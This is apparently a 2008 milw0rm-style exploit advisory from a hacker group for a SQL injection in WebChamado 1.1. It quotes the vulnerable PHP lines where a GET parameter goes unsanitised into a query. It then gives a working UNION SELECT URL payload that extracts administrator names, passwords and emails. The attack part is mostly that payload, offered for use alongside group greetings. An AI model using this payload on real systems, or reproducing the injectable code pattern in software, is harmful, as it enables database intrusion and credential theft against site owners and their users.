31 lines
No EOL
1 KiB
Text
31 lines
No EOL
1 KiB
Text
#######################################################################################
|
|
# #
|
|
# ...:::::WebChamado 1.1 SQL Injection Vulnerability ::::.... #
|
|
#######################################################################################
|
|
|
|
Virangar Security Team
|
|
|
|
www.virangar.net
|
|
www.virangar.ir
|
|
|
|
--------
|
|
Discoverd By :virangar security team(hadihadi)
|
|
|
|
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra
|
|
|
|
& all virangar members & all hackerz
|
|
|
|
greetz:to my best friend in the world hadi_aryaie2004
|
|
& my lovely friend arash(imm02tal)
|
|
-------
|
|
vuln code in lista_anexos.php:
|
|
line 12: $tsk_id = $_GET['tsk_id'];
|
|
....
|
|
line 14: $query = "SELECT SEQ, DSC, TIP, TAM FROM TBLTASK_TSKARQ WHERE TSK_ID = $tsk_id ORDER BY DSC";
|
|
---
|
|
exploit:
|
|
http://site.com/lista_anexos.php?tsk_id=-1/**/union/**/select/**/1,concat(NOM,0x3a,PAS,char(58),EML),3,4/**/from/**/tbltask_res/**/where/**/ADM=1/*
|
|
-------
|
|
young iranian h4ck3rz
|
|
|
|
# milw0rm.com [2008-06-13] |